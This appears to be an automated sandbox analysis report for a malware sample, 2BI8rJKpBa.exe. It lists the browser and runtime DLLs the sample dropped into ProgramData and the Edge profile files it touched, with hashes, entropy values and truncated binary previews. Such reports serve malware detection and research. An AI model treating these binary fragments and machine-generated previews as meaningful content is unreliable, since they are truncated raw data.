SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 2AIgdyA1Cl.exe, Detection: malicious, Browse Filename: 1QNOKwVoOT.exe, Detection: malicious, Browse Filename: R2CgZG545D.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1So9BcQi1J.exe, Detection: malicious, Browse Filename: Tii6ue74NB.exe, Detection: malicious, Browse Filename: AWrVzd6XpC.exe, Detection: malicious, Browse Filename: ZXVcgrmGRM.exe, Detection: malicious, Browse Filename: D2Cw8gWOXj.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 2AIgdyA1Cl.exe, Detection: malicious, Browse Filename: 1QNOKwVoOT.exe, Detection: malicious, Browse Filename: R2CgZG545D.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1So9BcQi1J.exe, Detection: malicious, Browse Filename: Tii6ue74NB.exe, Detection: malicious, Browse Filename: AWrVzd6XpC.exe, Detection: malicious, Browse Filename: ZXVcgrmGRM.exe, Detection: malicious, Browse Filename: D2Cw8gWOXj.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\12b6f300-34ce-4e2f-9202-6fa148459c7a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44910
Entropy (8bit):	6.094784088915163
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWw7i1zNtz1eN8OjrtoFsKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynH1KtSmd6qE7lFoC
MD5:	6214E0C72C8717198B89B77BAEAA36FC
SHA1:	878B38F5DA900C65CC451B5C8F97BB6907EB8CF3
SHA-256:	4043E75E486B363324303DE4644E055C5136F66D1ABFE949D2488AB514D7CC9B
SHA-512:	C88F4D0358E9E09C69560039A37E047FE41DA3474851D8F4EED2C78AA814162550AA4794FFED9201B63752A35397001A71FE7F8B6C0260FB2002E13534FE6701
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3d0d4708-b735-4b6c-87a7-3db80ad27b7f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44910
Entropy (8bit):	6.094784088915163
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWw7i1zNtz1eN8OjrtoFsKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynH1KtSmd6qE7lFoC
MD5:	6214E0C72C8717198B89B77BAEAA36FC
SHA1:	878B38F5DA900C65CC451B5C8F97BB6907EB8CF3
SHA-256:	4043E75E486B363324303DE4644E055C5136F66D1ABFE949D2488AB514D7CC9B
SHA-512:	C88F4D0358E9E09C69560039A37E047FE41DA3474851D8F4EED2C78AA814162550AA4794FFED9201B63752A35397001A71FE7F8B6C0260FB2002E13534FE6701
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\449e76df-6bbc-44ea-92b5-2e02f39fbe83.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44933
Entropy (8bit):	6.094974121017894
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWc7i1zNtz1e970I06jfsKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn50KtSmd6qE7lFoC
MD5:	5D50AF27905350DE3BD823F2B08F24BF
SHA1:	99385FFFE574B466CA2D4C6F9E9E53A6A7C1E1D5
SHA-256:	182D69074BD6EE30B70EBDEE66A643BE0E0178E988DBDE519940F874C33224E6
SHA-512:	BCA1E2F98E4014534768F6B7AD40622E301A3E0CB4CDA1C5DB2C634544532893BAD9D41F40018CED052A1118A61D156295C0DC45EE674F45537F4958E41683C9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9b6a52cd-d795-4548-8f95-85bdf6380ffe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44933
Entropy (8bit):	6.094974121017894
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWc7i1zNtz1e970I06jfsKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn50KtSmd6qE7lFoC
MD5:	5D50AF27905350DE3BD823F2B08F24BF
SHA1:	99385FFFE574B466CA2D4C6F9E9E53A6A7C1E1D5
SHA-256:	182D69074BD6EE30B70EBDEE66A643BE0E0178E988DBDE519940F874C33224E6
SHA-512:	BCA1E2F98E4014534768F6B7AD40622E301A3E0CB4CDA1C5DB2C634544532893BAD9D41F40018CED052A1118A61D156295C0DC45EE674F45537F4958E41683C9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6765E710-1E44.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04672909354446382
Encrypted:	false
SSDEEP:	192:Aiv10m5tmbnOAtKYoJgA8x5XSggykfhMNNE4qIK/ERQcQe4BBS9Dn8y08Tcm2RGY:n90Utc6gk9hgeYH4PS508T2RGOD
MD5:	C9511787D73026AE15AC1FE142FA626B
SHA1:	C99037577A4DDA6809EE8B5A0C5F005B84D6AA81
SHA-256:	85D5CE9802A2396424DE61BC4445F30219CF4FEE5F0AC5CD5F5561F118DB56E4
SHA-512:	9D74580643DE2C267078A10A39CE02A92A629880E0E37218E7E1EB8EA1781E07244B863540164E23C6543FE46590CCA1D14305D28F2BF78F6834F2ED110BBDDD
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..8W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".wntgki20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........V...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089731037834546
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn9wkzItSmd6qE7lFoC
MD5:	FA19A7320E923503BE1035DA97FBD6E1
SHA1:	2C5E8CE6B05DE800BA1F64CD16C8D6BAFD967CBF
SHA-256:	2100E7D8346A7BB96DDBBFED6511343E0196F89A8803414948449F4CA441D2F1
SHA-512:	5FE911499A0BF257AA3E7A260D3DCD4B25F55893C0F2BC81660A692DD1E0EB0EB65B75E15BA299F53E4BEB36C364F50421FA4B5B2EB84C0BADC543D86A802E53
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF385bb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089731037834546
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn9wkzItSmd6qE7lFoC
MD5:	FA19A7320E923503BE1035DA97FBD6E1
SHA1:	2C5E8CE6B05DE800BA1F64CD16C8D6BAFD967CBF
SHA-256:	2100E7D8346A7BB96DDBBFED6511343E0196F89A8803414948449F4CA441D2F1
SHA-512:	5FE911499A0BF257AA3E7A260D3DCD4B25F55893C0F2BC81660A692DD1E0EB0EB65B75E15BA299F53E4BEB36C364F50421FA4B5B2EB84C0BADC543D86A802E53
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38629.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089731037834546
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn9wkzItSmd6qE7lFoC
MD5:	FA19A7320E923503BE1035DA97FBD6E1
SHA1:	2C5E8CE6B05DE800BA1F64CD16C8D6BAFD967CBF
SHA-256:	2100E7D8346A7BB96DDBBFED6511343E0196F89A8803414948449F4CA441D2F1
SHA-512:	5FE911499A0BF257AA3E7A260D3DCD4B25F55893C0F2BC81660A692DD1E0EB0EB65B75E15BA299F53E4BEB36C364F50421FA4B5B2EB84C0BADC543D86A802E53
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1